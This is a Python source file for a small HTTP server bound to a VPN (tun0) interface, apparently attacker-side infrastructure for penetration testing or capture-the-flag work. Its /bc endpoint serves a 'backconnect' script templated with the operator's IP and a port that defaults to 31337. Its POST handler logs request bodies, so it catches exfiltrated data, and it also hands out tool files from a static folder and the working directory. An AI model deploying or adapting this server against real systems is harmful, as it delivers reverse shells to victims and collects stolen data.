server.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import http.server
import socketserver
import socket
import fcntl
import struct
import os
import magic
import pathlib
import sys

TOOLCHAIN_PATH = pathlib.Path(__file__).parent.absolute() 

def get_local_interface_ip(ifname: str = 'tun0') -> str:
    SIOCGIFADDR = 0x8915
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    netip = fcntl.ioctl(sock.fileno(), SIOCGIFADDR, struct.pack('256s', ifname[:15].encode('utf-8')))
    return socket.inet_ntoa(netip[20:24])

class HTTPHandler(http.server.BaseHTTPRequestHandler):
    protocol_version = 'HTTP/1.1'

    def send_error(self, code: int, message: str | None = None, explain: str | None = None) -> None:
        #return super().send_error(code, message, explain)
        client_ip, client_port = self.client_address
        try:
            user_agent = self.headers.get('User-Agent')
        except:
            user_agent = '-'

        try:
            print(f'[!] {client_ip}:{client_port:5d} | {user_agent} | {self.command} {self.path}')
        except:
            print(f'[!] {client_ip}:{client_port:5d} | {user_agent} | {message}')

        self.send_response_only(405)
        self.send_header('Content-Length', 0)
        self.send_header('Connection', 'close')
        self.end_headers()

    def handle_file(self, path: str) -> bytes:
        with open(path, 'rb') as fd:
            return fd.read()

    def do_POST(self):
        content = b''
        path = self.path[1:]

        client_ip, client_port = self.client_address
        user_agent = self.headers.get('User-Agent')

        body = self.rfile.read1().decode('utf-8')

        print(f'[+] {client_ip}:{client_port:5d} | {user_agent} | {self.command} {self.path} | {body}')

        mime = magic.Magic(mime = True)
        self.send_response_only(200)
        self.send_header('Content-Type', mime.from_buffer(content))
        self.send_header('Content-Length', len(content))
        self.send_header('Connection', 'close')
        self.end_headers()
        try:
            self.wfile.write(content)
        except ConnectionResetError:
            print('[!] < Connection reset error')


    def do_GET(self):
        content = b''
        path = self.path[1:]

        client_ip, client_port = self.client_address
        user_agent = self.headers.get('User-Agent')

        print(f'[+] {client_ip}:{client_port:5d} | {user_agent} | {self.command} {self.path}')
        if path.startswith('bc'):
            try:
                port = int(path[len('bc?'):])
            except ValueError:
                port = 31337
            cpath = pathlib.PurePath(TOOLCHAIN_PATH, 'bc.py')
            with open(cpath, 'r') as fd:
                content = fd.read().replace('__PORT__', str(port)).replace('__HOST__', get_local_interface_ip())
            content = content.encode('utf-8')
            print(f'[*] Served backconnect script for port {port}')
        if path.startswith('static/'):
            name  = pathlib.PurePath(path).name
            cpath = pathlib.PurePath(TOOLCHAIN_PATH, 'static', name)
            try:
                content = self.handle_file(cpath)
            except Exception as e:
                print(f'[!] {e!s}')
        if path.startswith('current/'):
            cwd   = pathlib.PurePath(os.getcwd())
            cpath = pathlib.PurePath(*pathlib.PurePath(path).parts[1:])
            cpath = pathlib.PurePath(os.path.normpath(cwd.joinpath(cpath)))
            if cpath.is_relative_to(cwd):
                try:
                    content = self.handle_file(cpath)
                except Exception as e:
                    print(f'[!] {e!s}')

        mime = magic.Magic(mime = True)
        self.send_response_only(200)
        self.send_header('Content-Type', mime.from_buffer(content))
        self.send_header('Content-Length', len(content))
        self.send_header('Connection', 'close')
        self.end_headers()
        try:
            self.wfile.write(content)
        except ConnectionResetError:
            print('[!] < Connection reset error')

class HTTPServer(socketserver.ThreadingTCPServer):
    allow_reuse_address = True

def main():
    iface = os.getenv('IFACE', 'tun0')
    try:
        bind = get_local_interface_ip(iface)
    except OSError:
        print(f'[!] {iface} down?')
        return

    port = 8000
    if len(sys.argv) > 1:
        port = int(sys.argv[1])
    print(f'[*] Handling on {bind}:{port}')
    httpd = HTTPServer((bind, port), HTTPHandler)
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass

if __name__ == '__main__':
    main()